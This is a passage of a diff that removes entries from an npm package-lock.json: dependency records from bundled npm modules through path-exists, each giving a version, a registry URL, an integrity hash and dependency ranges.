"sha1-X6kS2B630MdK/BQN5zF/DKffQ34=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "builtins": "^1.0.3" - } - }, - "node_modules/npm/node_modules/verror": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", - "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "dev": true, - "engines": [ - "node >=0.6.0" - ], - "inBundle": true, - "license": "MIT", - "dependencies": { - "assert-plus": "^1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" - } - }, - "node_modules/npm/node_modules/verror/node_modules/assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/wcwidth": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", - "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "defaults": "^1.0.3" - } - }, - "node_modules/npm/node_modules/which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "which": "bin/which" - } - }, - "node_modules/npm/node_modules/which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/wide-align": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.2.tgz", - "integrity": "sha512-ijDLlyQ7s6x1JgCLur53osjm/UXUYD9+0PbYKrBsYisYXzCxN+HC3mYDNy/dWdmf3AwqwU3CXwDCvsNgGK1S0w==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "string-width": "^1.0.2" - } - }, - "node_modules/npm/node_modules/wide-align/node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/widest-line": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-2.0.0.tgz", - "integrity": "sha1-AUKk6KJD+IgsAjOqDgKBqnYVInM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "string-width": "^2.1.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/worker-farm": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", - "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "errno": "~0.1.7" - } - }, - "node_modules/npm/node_modules/wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/wrap-ansi/node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/write-file-atomic": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-2.3.0.tgz", - "integrity": "sha512-xuPeK4OdjWqtfi59ylvVL0Yn35SF3zgcAcv7rBPFHVaEapaDr4GdGgm3j7ckTwH9wHL7fGmgfAnb0+THrHb8tA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "graceful-fs": "^4.1.11", - "imurmurhash": "^0.1.4", - "signal-exit": "^3.0.2" - } - }, - "node_modules/npm/node_modules/xdg-basedir": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-3.0.0.tgz", - "integrity": "sha1-SWsswQnsqNus/i3HK2A8F8WHCtQ=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/xtend": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", - "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.4" - } - }, - "node_modules/npm/node_modules/y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/yallist": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/yargs": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.0.0.tgz", - "integrity": "sha512-Rjp+lMYQOWtgqojx1dEWorjCofi1YN7AoFvYV7b1gx/7dAAeuI4kN5SZiEvr0ZmsZTOpDRcCqrpI10L31tFkBw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "cliui": "^4.0.0", - "decamelize": "^1.1.1", - "find-up": "^2.1.0", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^9.0.2" - } - }, - "node_modules/npm/node_modules/yargs-parser": { - "version": "9.0.2", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-9.0.2.tgz", - "integrity": "sha1-nM9qQ0YP5O1Aqbto9I1DuKaMwHc=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "camelcase": "^4.1.0" - } - }, - "node_modules/npm/node_modules/yargs/node_modules/y18n": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npmlog": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=", - "dev": true, - "dependencies": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, - "node_modules/nprogress": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/nprogress/-/nprogress-0.2.0.tgz", - "integrity": "sha1-y480xTIT2JVyP8urkH6UIq28r7E=" - }, - "node_modules/nth-check": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz", - "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", - "dev": true, - "dependencies": { - "boolbase": "~1.0.0" - } - }, - "node_modules/num2fraction": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", - "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", - "dev": true - }, - "node_modules/number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/oauth-sign": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz", - "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM=", - "dev": true, - "optional": true, - "engines": { - "node": "*" - } - }, - "node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-copy": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", - "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", - "dev": true, - "dependencies": { - "copy-descriptor": "^0.1.0", - "define-property": "^0.2.5", - "kind-of": "^3.0.3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-copy/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-hash": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.0.tgz", - "integrity": "sha512-05KzQ70lSeGSrZJQXE5wNDiTkBJDlUT/myi6RX9dVIvz7a7Qh4oH93BQdiPMn27nldYvVQCKMUaM83AfizZlsQ==", - "dev": true, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/object-keys": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.12.tgz", - "integrity": "sha512-FTMyFUm2wBcGHnH2eXmz7tC6IwlqQZ6mVZ+6dm6vZ4IQIHjs6FdNsQBuKGPuUUUY6NfJw2PshC08Tn6LzLDOag==", - "dev": true, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/object-visit": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", - "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", - "dev": true, - "dependencies": { - "isobject": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-visit/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object.assign": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", - "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", - "dev": true, - "dependencies": { - "define-properties": "^1.1.2", - "function-bind": "^1.1.1", - "has-symbols": "^1.0.0", - "object-keys": "^1.0.11" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/object.getownpropertydescriptors": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.0.3.tgz", - "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", - "dev": true, - "dependencies": { - "define-properties": "^1.1.2", - "es-abstract": "^1.5.1" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/object.omit": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz", - "integrity": "sha1-Gpx0SCnznbuFjHbKNXmuKlTr0fo=", - "dev": true, - "dependencies": { - "for-own": "^0.1.4", - "is-extendable": "^0.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object.pick": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", - "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", - "dev": true, - "dependencies": { - "isobject": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object.pick/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object.values": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.0.4.tgz", - "integrity": "sha1-5STaCbT2b/Bd9FdUbscqyZ8TBpo=", - "dev": true, - "dependencies": { - "define-properties": "^1.1.2", - "es-abstract": "^1.6.1", - "function-bind": "^1.1.0", - "has": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "dev": true, - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/onetime": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", - "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", - "dev": true, - "dependencies": { - "mimic-fn": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/optimize-css-assets-webpack-plugin": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.0.tgz", - "integrity": "sha512-MXqrLyfiOOpwm+TOWjGskX+sIgu7qlW2oozkEKnS8Z+LWAkSK7Qf6PV9RGRfMd7GmRX3zW2A3oRo0+f23POcXQ==", - "dev": true, - "dependencies": { - "cssnano": "^4.0.2", - "last-call-webpack-plugin": "^3.0.0" - }, - "peerDependencies": { - "webpack": "^4.0.0" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/cosmiconfig": { - "version": "5.0.5", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.0.5.tgz", - "integrity": "sha512-94j37OtvxS5w7qr7Ta6dt67tWdnOxigBVN4VnSxNXFez9o18PGQ0D33SchKP17r9LAcWVTYV72G6vDayAUBFIg==", - "dev": true, - "dependencies": { - "is-directory": "^0.3.1", - "js-yaml": "^3.9.0", - "parse-json": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/cssnano": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-4.0.5.tgz", - "integrity": "sha512-P2O0sz/YAAzqZVsSWOrbliPCr0c6abwVNQmFZ48AgejN/GbzwEf6IVFGQAj0UKHC+crv60wUAPQocAnDmeWlkg==", - "dev": true, - "dependencies": { - "cosmiconfig": "^5.0.0", - "cssnano-preset-default": "^4.0.0", - "is-resolvable": "^1.0.0", - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true, - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/js-yaml": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", - "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", - "dev": true, - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/parse-json": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", - "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", - "dev": true, - "dependencies": { - "error-ex": "^1.3.1", - "json-parse-better-errors": "^1.0.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/optimize-css-assets-webpack-plugin/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/optionator": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.2.tgz", - "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", - "dev": true, - "dependencies": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.4", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "wordwrap": "~1.0.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/os-browserify": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", - "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=", - "dev": true - }, - "node_modules/os-homedir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", - "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/os-locale": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", - "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", - "dev": true, - "dependencies": { - "lcid": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/os-tmpdir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/osenv": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", - "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", - "dev": true, - "dependencies": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, - "node_modules/outpipe": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/outpipe/-/outpipe-1.1.1.tgz", - "integrity": "sha1-UM+GFjZeh+Ax4ppeyTOaPaRyX6I=", - "dev": true, - "dependencies": { - "shell-quote": "^1.4.2" - } - }, - "node_modules/output-file-sync": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/output-file-sync/-/output-file-sync-1.1.2.tgz", - "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.4", - "mkdirp": "^0.5.1", - "object-assign": "^4.1.0" - } - }, - "node_modules/p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/p-limit": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", - "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", - "dev": true, - "dependencies": { - "p-try": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", - "dev": true, - "dependencies": { - "p-limit": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/pako": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.6.tgz", - "integrity": "sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==", - "dev": true - }, - "node_modules/parallel-transform": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", - "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", - "dev": true, - "dependencies": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" - } - }, - "node_modules/parents": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parents/-/parents-1.0.1.tgz", - "integrity": "sha1-/t1NK/GTp3dF/nHjcdc8MwfZx1E=", - "dev": true, - "dependencies": { - "path-platform": "~0.11.15" - } - }, - "node_modules/parse-asn1": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.0.tgz", - "integrity": "sha1-N8T5t+06tlx0gXtfJICTf7+XxxI=", - "dev": true, - "dependencies": { - "asn1.js": "^4.0.0", - "browserify-aes": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.0", - "pbkdf2": "^3.0.3" - } - }, - "node_modules/parse-function": { - "version": "5.2.11", - "resolved": "https://registry.npmjs.org/parse-function/-/parse-function-5.2.11.tgz", - "integrity": "sha512-2nQChgTKz80awFjQqs93ZzgQPOykT+BXomHUfwMdIben3PT2uohAPot+h5D+PNa0T+odzjuMZUMOoCyJfnej1Q==", - "dev": true, - "dependencies": { - "arrify": "1.0.1", - "babylon": "7.0.0-beta.47", - "define-property": "2.0.2" - }, - "engines": { - "node": ">=6", - "npm": ">=5", - "yarn": ">=1" - } - }, - "node_modules/parse-function/node_modules/babylon": { - "version": "7.0.0-beta.47", - "resolved": "https://registry.npmjs.org/babylon/-/babylon-7.0.0-beta.47.tgz", - "integrity": "sha512-+rq2cr4GDhtToEzKFD6KZZMDBXhjFAr9JjPw9pAppZACeEWqNM294j+NdBzkSHYXwzzBmVjZ3nEVJlOhbR2gOQ==", - "dev": true, - "bin": { - "babylon": "bin/babylon.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/parse-glob": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz", - "integrity": "sha1-ssN2z7EfNVE7rdFz7wu246OIORw=", - "dev": true, - "dependencies": { - "glob-base": "^0.3.0", - "is-dotfile": "^1.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/parse-json": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", - "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", - "dev": true, - "dependencies": { - "error-ex": "^1.2.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/partialify": { - "version": "3.1.6", - "resolved": "https://registry.npmjs.org/partialify/-/partialify-3.1.6.tgz", - "integrity": "sha1-f0QPHe6SqFVT9YTgK9koBXA0fRg=", - "dev": true, - "dependencies": { - "string-to-js": "0.0.1", - "through": "^2.3.4" - } - }, - "node_modules/pascalcase": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", - "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/path-browserify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.0.tgz", - "integrity": "sha1-oLhwcpquIUAFt9UDLsLLuw+0RRo=", - "dev": true - }, - "node_modules/path-dirname": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", - "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", - "dev": true - }, - "node_modules/path-exists": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", - "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", - "dev": true, - "dependencies": { - "pinkie-promise": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - 